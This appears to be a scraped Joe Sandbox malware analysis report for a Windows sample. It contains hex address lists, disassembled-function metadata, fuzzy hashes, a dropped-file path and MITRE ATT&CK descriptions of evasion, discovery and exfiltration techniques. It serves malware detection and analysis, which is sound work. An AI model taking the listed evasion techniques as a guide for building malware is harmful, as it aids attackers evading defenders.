0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b96320
0x00b96320
0x00b9632a
0x00b96357
0x00b96361
0x00b96361
0x00b96365
0x00b9632c
0x00b9632c
0x00b96338
0x00b9633f
0x00b96344
0x00b96347
0x00b9634a
0x00b9634d
0x00b9634f
0x00b9634f
0x00b96352
0x00000000
0x00000000
0x00b9636d
0x00b9636d
0x00000000
0x00000000
0x00b96379
0x00b96379
0x00b96383
0x00b963a3
0x00b963a6
0x00b963b0
0x00b963b0
0x00b963b4
0x00b96385
0x00b96385
0x00b96391
0x00b96398
0x00b9639a
0x00b9639a
0x00b963a1
0x00000000
0x00000000
0x00b963bc
0x00b963bc
0x00b963c3
0x00b963cf
0x00b963d2
0x00b963df
0x00b964f2
0x00000000
0x00b964f2
0x00b963e5
0x00b963eb
0x00b963eb
0x00b963f2
0x00000000
0x00b96429
0x00b96429
0x00b9642c
0x00b96432
0x00b96459
0x00b96459
0x00b9645c
0x00b96462
0x00b96486
0x00b96486
0x00b96489
0x00b9648f
0x00b964c8
0x00b964d9
0x00000000
0x00b964d9
0x00b96491
0x00b96491
0x00b96494
0x00b9649a
0x00000000
0x00000000
0x00b9649c
0x00b9649c
0x00b9649f
0x00b964a5
0x00000000
0x00000000
0x00b964a7
0x00b964a7
0x00b964aa
0x00b964b0
0x00000000
0x00000000
0x00b964b2
0x00b964b2
0x00b964b5
0x00b964bb
0x00000000
0x00000000
0x00b964bd
0x00b964bd
0x00b964c0
0x00b964c6
0x00b964ca
0x00000000
0x00b964ca
0x00000000
0x00b964c6
0x00b96464
0x00b96464
0x00b96467
0x00b9646e
0x00000000
0x00b96470
0x00b96473
0x00b96476
0x00b9647c
0x00b96481
0x00000000
0x00b96481
0x00b9646e
0x00b96434
0x00b96434
0x00b96437
0x00b9643e
0x00000000
0x00b96440
0x00b96443
0x00b96446
0x00b9644c
0x00b96451
0x00000000
0x00b96451
0x00000000
0x00b964db
0x00b964db
0x00b964de
0x00b964e1
0x00000000
0x00000000
0x00b963f9
0x00b963f9
0x00b963fc
0x00b96402
0x00b9641e
0x00b96421
0x00b96404
0x00b96404
0x00b96407
0x00b9640a
0x00b96410
0x00b96416
0x00b96416
0x00000000
0x00000000
0x00b964e6
0x00b964e9
0x00b964ef
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b962f9
0x00b962f9
0x00b962fc
0x00b962ff
0x00000000
0x00000000
0x00b96304
0x00b96307
0x00b9630d
0x00000000
0x00000000
0x00b962ee
0x00b962f1
0x00b962f4
0x00000000
0x00000000
0x00b962e3
0x00b962e6
0x00b962e9
0x00000000
0x00000000
0x00b96312
0x00b96315
0x00b96318
0x00000000
0x00000000
0x00b9631b
0x00000000
0x00000000
0x00b9618b
0x00b9618b
0x00b9618d
0x00b9619b
0x00b9618f
0x00b9618f
0x00b9618f
0x00b961ab
0x00b961b8
0x00b961ba
0x00b961bf
0x00b961c1
0x00b961c6
0x00b961cb
0x00b961cd
0x00b961d2
0x00b961d8
0x00b961da
0x00b961da
0x00b961d8
0x00b961db
0x00b961e2
0x00000000
0x00b961e4
0x00b961e9
0x00b96205
0x00b9620d
0x00b9621a
0x00b9621f
0x00b97034
0x00b97041
0x00b97041
0x00b961e2
0x00b96185
0x00b96f70
0x00b96f77
0x00b96f8e
0x00b96f82
0x00b96f82
0x00b96f82
0x00b96f98
0x00b96f9e
0x00b96fab
0x00b96fad
0x00b96fb2
0x00b96fb4
0x00b96fb9
0x00b96fbe
0x00b96fc0
0x00b96fc5
0x00b96fcb
0x00b96fcd
0x00b96fcd
0x00b96fcb
0x00b96fd5
0x00b97020
0x00b97029
0x00b9702e
0x00b96fd7
0x00b96fdc
0x00b96ff8
0x00b97000
0x00b9700d
0x00b97012
0x00b97012
0x00000000
0x00b96fd5
0x00b96d7a
0x00b96d80
0x00b96d8a
0x00b96da4
0x00b96dbe
0x00b96dc5
0x00b96dc9
0x00b96dc9
0x00b96da6
0x00b96dab
0x00b96daf
0x00b96daf
0x00b96d8c
0x00b96d91
0x00b96d95
0x00b96d95
0x00b96d8a
0x00b96dd9
0x00b96de5
0x00b96dfb
0x00b96e00
0x00b96e00
0x00b96e16
0x00b96e1b
0x00b96e24
0x00b96e42
0x00b96e47
0x00b96e47
0x00b96e4e
0x00b96f08
0x00b96f1b
0x00b96f20
0x00000000
0x00b96e5e
0x00b96e5e
0x00b96e61
0x00b96e6a
0x00b96e70
0x00b96e70
0x00b96e7f
0x00b96e87
0x00000000
0x00000000
0x00b96e89
0x00b96e8c
0x00b96eb1
0x00b96eb6
0x00b96eb9
0x00b96ec6
0x00b96ed4
0x00b96ee7
0x00b96eec
0x00b96efb
0x00000000
0x00b96efb
0x00b96ec8
0x00b96ec8
0x00000000
0x00b96ec8
0x00b96f06
0x00b96f23
0x00b96f2a
0x00b96f48
0x00b96f4d
0x00b96f4d
0x00000000
0x00b96f2a
0x00b964f7
0x00b964f7
0x00b964fe
0x00b96504
0x00b9650a
0x00b9650d
0x00b96513
0x00b96520
0x00b96526
0x00b96526
0x00b9652d
0x00000000
0x00b968b1
0x00b968b1
0x00b968bf
0x00b968c2
0x00000000
0x00000000
0x00b96534
0x00b96537
0x00b9653d
0x00b96542
0x00b96545
0x00b96545
0x00000000
0x00000000
0x00b9667a
0x00b9667d
0x00b96682
0x00b96687
0x00b9668a
0x00b9668a
0x00000000
0x00000000
0x00b96a7d
0x00b96a7d
0x00000000
0x00000000
0x00b965e4
0x00b965e4
0x00b965f0
0x00b965fd
0x00b9660b
0x00b9660b
0x00b96611
0x00b96614
0x00b96620
0x00b96675
0x00000000
0x00b96675
0x00b965ff
0x00b965ff
0x00b96609
0x00b96625
0x00b96628
0x00b9662e
0x00b96656
0x00b9665d
0x00b96663
0x00b96666
0x00b96669
0x00b9666f
0x00b96672
0x00b96630
0x00b96630
0x00b96636
0x00b96639
0x00b9663c
0x00b96642
0x00b96645
0x00b96648
0x00b9664a
0x00b9664d
0x00b9664d
0x00000000
0x00b9662e
0x00000000
0x00000000
0x00b968c9
0x00b968cc
0x00b968cf
0x00b968d2
0x00b968d8
0x00b968db
0x00b968e6
0x00b968f1
0x00b968f5
0x00b9690c
0x00b96913
0x00b96915
0x00b96915
0x00b9691c
0x00b96923
0x00b96931
0x00b96934
0x00b96943
0x00b9694a
0x00b9695f
0x00b9694c
0x00b9694c
0x00b9694f
0x00b96955
0x00b9695a
0x00b9695a
0x00b9694a
0x00b96969
0x00b9696c
0x00b9696f
0x00b96972
0x00b96975
0x00b96978
0x00b9697e
0x00b96984
0x00b9698c
0x00b9698d
0x00b96990
0x00b96991
0x00b96994
0x00b96995
0x00b9699c
0x00b9699d
0x00b969a0
0x00b969a1
0x00b969a4
0x00b969a5
0x00b969ab
0x00b969ac
0x00b969bb
0x00b969bd
0x00b969c3
0x00b969c8
0x00b969d0
0x00b969d8
0x00b969d9
0x00b969dc
0x00b969dd
0x00b969ec
0x00b969ee
0x00b969ee
0x00b969f1
0x00b969fb
0x00b96a00
0x00b96a06
0x00b96a08
0x00b96a10
0x00b96a11
0x00b96a14
0x00b96a15
0x00b96a23
0x00b96a25
0x00b96a25
0x00b96a06
0x00b96a28
0x00b96a2b
0x00b96a31
0x00b96a36
0x00b96a3b
0x00b96a41
0x00b96a44
0x00b96a44
0x00b96a47
0x00b96a53
0x00000000
0x00b96a53
0x00b968f7
0x00b968f7
0x00b96901
0x00000000
0x00000000
0x00b96903
0x00b96903
0x00000000
0x00b96903
0x00b968e8
0x00b968e8
0x00000000
0x00000000
0x00b96548
0x00b96548
0x00b96553
0x00b9655b
0x00b96562
0x00b96565
0x00b96568
0x00b965c8
0x00b9656a
0x00b96571
0x00b96577
0x00b9657d
0x00b96584
0x00b96587
0x00b9658d
0x00b96595
0x00b96597
0x00b9659e
0x00b965a5
0x00b965b6
0x00b965b8
0x00b965b8
0x00b965bf
0x00b965cf
0x00b965d5
0x00b965d8
0x00000000
0x00000000
0x00b96a5b
0x00b96a5e
0x00b96a61
0x00b96a64
0x00000000
0x00000000
0x00b967ba
0x00b967ba
0x00b967c6
0x00b967d3
0x00b9687d
0x00b9687d
0x00b96880
0x00b96883
0x00b96897
0x00b9689d
0x00b968a3
0x00b96885
0x00b96885
0x00b9688b
0x00b96892
0x00b96892
0x00b968a5
0x00000000
0x00b968a5
0x00b967d9
0x00b967d9
0x00b967db
0x00b967e9
0x00b967dd
0x00b967dd
0x00b967dd
0x00b967f3
0x00b967f9
0x00b96806
0x00b96808
0x00b9680d
0x00b9680f
0x00b96814
0x00b96819
0x00b9681b
0x00b96820
0x00b96826
0x00b96828
0x00b96828
0x00b96826
0x00b96830
0x00b96878
0x00000000
0x00b96832
0x00b96832
0x00b96837
0x00b96853
0x00b9685b
0x00b96865
0x00b96868
0x00b9686d
0x00000000
0x00b9686d
0x00000000
0x00b96ac4
0x00b96ac4
0x00b96ace
0x00b96ad4
0x00b96ad9
0x00b96adf
0x00b96adf
0x00000000
0x00000000
0x00b96a76
0x00b96a76
0x00000000
0x00000000
0x00b9668d
0x00b96691
0x00b9669f
0x00b966a2
0x00b96693
0x00b96693
0x00b96693
0x00b966a8
0x00b966ae
0x00b966b4
0x00b966c0
0x00b966c6
0x00b966c9
0x00b96751
0x00b96755
0x00b96757
0x00b9675d
0x00b9675d
0x00b96760
0x00b96767
0x00b9676a
0x00b96770
0x00b96770
0x00b96770
0x00b96776
0x00b9677c
0x00b9677f
0x00b96787
0x00000000
0x00000000
0x00b96789
0x00b96789
0x00b9678f
0x00b96794
0x00000000
0x00000000
0x00b96796
0x00b9679c
0x00b9679f
0x00b9679f
0x00b967a7
0x00b967ad
0x00b967b0
0x00b967b2
0x00000000
0x00b966cf
0x00b966cf
0x00b966d3
0x00b966d5
0x00b966da
0x00b966da
0x00b966dd
0x00b966e0
0x00b966e6
0x00b966f8
0x00b966f8
0x00b966f8
0x00b96701
0x00000000
0x00000000
0x00b96703
0x00b96703
0x00b96709
0x00b9670e
0x00000000
0x00000000
0x00b96710
0x00b96710
0x00b96719
0x00b9671f
0x00b9672d
0x00b96735
0x00b96738
0x00b96738
0x00b96744
0x00b96747
0x00b966f2
0x00b966f5
0x00b966f5
0x00b9674f
0x00b967b5
0x00000000
0x00b967b5
0x00000000
0x00000000
0x00000000
0x00b96a89
0x00b96a89
0x00b96a93
0x00b96a93
0x00b96a9d
0x00b96aa3
0x00b96aa5
0x00b96aaa
0x00b96ab4
0x00b96ab7
0x00b96abb
0x00b96abb
0x00000000
0x00000000
0x00000000
0x00000000
0x00b9652d
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96d70
0x00b96bc7
0x00b96bbe
0x00b96ae2
0x00b96ae2
0x00b96ae2

APIs

_get_int64_arg.LIBCMTD ref: 00B96AF0
_get_int64_arg.LIBCMTD ref: 00B96B18
__aullrem.LIBCMT ref: 00B96CC0
__aulldiv.LIBCMT ref: 00B96CE2

Strings

9, xrefs: 00B96CF3

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: e0e3f8e1386be92e0bc5f3dd4c91d705f34ce2870048e1cdee0c56fa3a087290
Instruction ID: 371f0942eba5da7b012e7b8c73e40f9b1e48c007c8288a6c4445f0bb4bd8b235
Opcode Fuzzy Hash: e0e3f8e1386be92e0bc5f3dd4c91d705f34ce2870048e1cdee0c56fa3a087290
Instruction Fuzzy Hash: 5F41C2B1E105299FDF24CF58C981B9EB7B5FB86314F1041E8E189AB241D7309A80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00B956FB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00B95778
_get_int64_arg.LIBCMTD ref: 00B957A0
__aullrem.LIBCMT ref: 00B95945
__aulldiv.LIBCMT ref: 00B95967

Strings

9, xrefs: 00B95978

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 51d0f5c37f6f4eca2bdb9232f71b3a2a9497eb3c88c380f7a17efa34b083e1d1
Instruction ID: cd05cf53293981f902fe771f56f44ef037fee2bfffe8f21c04f3962e3bdd5dde
Opcode Fuzzy Hash: 51d0f5c37f6f4eca2bdb9232f71b3a2a9497eb3c88c380f7a17efa34b083e1d1
Instruction Fuzzy Hash: DE419BB1D15A28DFEF25CB58C889BAEB7F5FB84300F2485E9E449A6240D7349A81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00B92C25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00B92C9B

Strings

_wcstombs_s_l, xrefs: 00B92C91
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 00B92C53, 00B92C96
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00B92C5F, 00B92C8C

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c
API String ID: 3730194576-625432840
Opcode ID: d36fd7684db733780b1e5a443dd76ea3186cbcb95e20d7f97b751a80e99fd7d7
Instruction ID: bdd3b010eff838d43bebbdee1002bab711261b25357e7ff1804a851d0491c059
Opcode Fuzzy Hash: d36fd7684db733780b1e5a443dd76ea3186cbcb95e20d7f97b751a80e99fd7d7
Instruction Fuzzy Hash: DA011D70D84309AAEF246F84CC067AE72F0EB11709F1045E5F834251E2D7F55A84CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00B92746 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__invalid_parameter.LIBCMTD ref: 00B927A7

Strings

pwcs != NULL, xrefs: 00B92765, 00B927A2
_wcstombs_l_helper, xrefs: 00B9279D
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00B9276E, 00B92798

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$pwcs != NULL
API String ID: 3730194576-2632876063
Opcode ID: 8fbcafd95ad51696a1d4da6dc29f39a687111b741b69e3bbd7e338f156b87b15
Instruction ID: e1f0428c9b5503ef1cd42d892b60fbf2b400c7fb243439b3fc8b88b1e5a0bde4
Opcode Fuzzy Hash: 8fbcafd95ad51696a1d4da6dc29f39a687111b741b69e3bbd7e338f156b87b15
Instruction Fuzzy Hash: 45F0C230ED4208BADF306FA4CC87B5A32D0AB11754F1046E4F83A350D3DBB58D448A61

Uniqueness

Uniqueness Score: -1.00%

Function 00B7C9F1 Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

__wchartodigit.LIBCMTD ref: 00B7CA44
__aulldiv.LIBCMT ref: 00B7CA8C
__wchartodigit.LIBCMTD ref: 00B7CA9C
__aullrem.LIBCMT ref: 00B7CB4F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00B7CCB9

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Locale__wchartodigit$UpdateUpdate::~___aulldiv__aullrem
String ID:
API String ID: 1881694700-0
Opcode ID: 47a29d47f524797e89d580dd49d6f33ce3b065494711cdebf48fc32b14daa585
Instruction ID: c1a88985fe541565950586ce350b59811f52f3a2df3619122d45438a962a97a6
Opcode Fuzzy Hash: 47a29d47f524797e89d580dd49d6f33ce3b065494711cdebf48fc32b14daa585
Instruction Fuzzy Hash: 9131E3B090421E9BCF14DF98D881ABEBBF1FF49315F20865EE429A7394E7349940CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B84C6A Relevance: 6.0, APIs: 4, Instructions: 32threadCOMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00B84C87

Part of subcall function 00B849C0: TlsGetValue.KERNEL32(00000001,00B84C36,D1E0EB39), ref: 00B849D5
Part of subcall function 00B849C0: TlsGetValue.KERNEL32(00000001,00000001), ref: 00B849F6
Part of subcall function 00B849C0: __crt_wait_module_handle.LIBCMTD ref: 00B84A0C
Part of subcall function 00B849C0: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00B84A26

__mtterm.LIBCMTD ref: 00B84C95
__initptd.LIBCMTD ref: 00B84CA4
GetCurrentThreadId.KERNEL32 ref: 00B84CAC

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: Value$AddressCurrentProcThread__crt_wait_module_handle__encode_pointer__initptd__mtterm
String ID:
API String ID: 1673568325-0
Opcode ID: 6ac6bbd80c70dbc2803d8ab68ec3a11c44c17d5502cf6a1be652440d47af43df
Instruction ID: 841fcf3713a51ccd2b063c26184b5dd756f82cc7b96d8ef49db108faf6dfea8c
Opcode Fuzzy Hash: 6ac6bbd80c70dbc2803d8ab68ec3a11c44c17d5502cf6a1be652440d47af43df
Instruction Fuzzy Hash: 22F030B5A01206ABC710EFA8E84579EBBB9EB48314F1086D4E905973A1EB32D591CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00B7EBBF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 00B7EBCF

Strings

_CrtCheckMemory(), xrefs: 00B7EBD8
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B7EBE4

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: CheckMemory
String ID: _CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 2067751306-2660621803
Opcode ID: daa4da346bb671c20c78026f7b17eb87996b4473e7721708d621848ba69a90e0
Instruction ID: b5d16c37cebfe92c2b2f5f2ccf4e0828702062daf54fdac5f9b7c985919afb2e
Opcode Fuzzy Hash: daa4da346bb671c20c78026f7b17eb87996b4473e7721708d621848ba69a90e0
Instruction Fuzzy Hash: DBF0E574580300A7CA20CF6CDC9277932D8EB04315F10C4D9E63E99392EA72D4658B62

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Variant.Jaik.84784.3654.20731

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppVerif\DllHelper.exe

C:\Users\user\AppVerif\DllHelper.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

System Behavior

Analysis Process: SecuriteInfo.com.Variant.Jaik.84784.3654.exePID: 6288, Parent PID: 5684

General

Chronological Activities

Disassembly

Analysis Process: SecuriteInfo.com.Variant.Jaik.84784.3654.exePID: 6288, Parent PID: 5684COMMON

Execution Graph

Windows Analysis Report
SecuriteInfo.com.Variant.Jaik.84784.3654.20731

Function 00B78A10 Relevance: 68.5, APIs: 30, Strings: 9, Instructions: 269
threadlibrarymemoryCOMMON

Function 00B788F0 Relevance: 38.6, APIs: 13, Strings: 9, Instructions: 79
timethreadCOMMON

Function 00B7DFE7 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252
COMMON

Function 00B7CE45 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 89
COMMON

Function 00B86840 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 326
COMMON

Function 00B7E35E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 62
COMMON

Function 00B7A212 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
memoryCOMMON

Function 00B7EF43 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60
COMMON

Function 00B7A259 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
memoryCOMMON

Function 00B794E6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
memoryCOMMON

Function 00B7EFBE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40
COMMON

Function 00B7DF4F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37
COMMON

Function 00B7F024 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25
